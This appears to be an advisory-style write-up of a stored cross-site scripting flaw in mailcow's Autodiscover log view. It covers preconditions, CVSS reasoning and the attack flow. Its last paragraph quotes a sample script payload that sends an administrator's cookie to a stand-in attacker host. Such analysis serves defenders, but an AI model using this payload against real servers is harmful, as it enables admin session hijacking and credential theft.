mailcow dockerized CVE-2026-40872

Exploitation requires the mailcow Autodiscover service to be network-accessible to the attacker (typical for internet-facing mail servers providing autoconfiguration to external email clients). No authentication is required to submit the malicious Autodiscover request. The attack completes when an administrator with access to the admin dashboard views the Autodiscover logs-a routine operational task in mail server administration. The vulnerability exists in default configurations where admin dashboard log rendering lacks output encoding. Attack success depends on admin behavioral patterns (log review frequency) rather than technical prerequisites, making it viable against standard mailcow deployments.

Real-world risk is elevated despite requiring user interaction. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:P) indicates network-accessible exploitation with low complexity requiring only that an admin view logs-a routine administrative task. The cross-scope impact ratings (SC:H/SI:H) correctly identify that compromise extends beyond the vulnerable component to admin sessions and potentially the entire mailcow infrastructure. No EPSS or KEV data provided, but GitHub Security Advisory (GHSA-f9xf-vc72-rcgm) confirms vendor acknowledgment. The attack targets administrators specifically, requiring no authentication for initial payload delivery, making this exploitable by external attackers against internet-facing mailcow instances. Exploitation likelihood increases in environments where admins regularly monitor Autodiscover logs for troubleshooting. The combination of unauthenticated write + admin-context execution elevates this above typical reflected XSS despite the UI:P requirement.

An external attacker crafts an Autodiscover XML request with an EMailAddress field containing JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>). The attacker submits this unauthenticated request to the target mailcow server's Autodiscover endpoint, which logs the malicious EMailAddress to Redis. When a mailcow administrator accesses the admin dashboard and views Autodiscover logs for troubleshooting or monitoring, the unescaped payload executes in their browser session, enabling session hijacking, credential theft, or further administrative actions under the admin's privileges.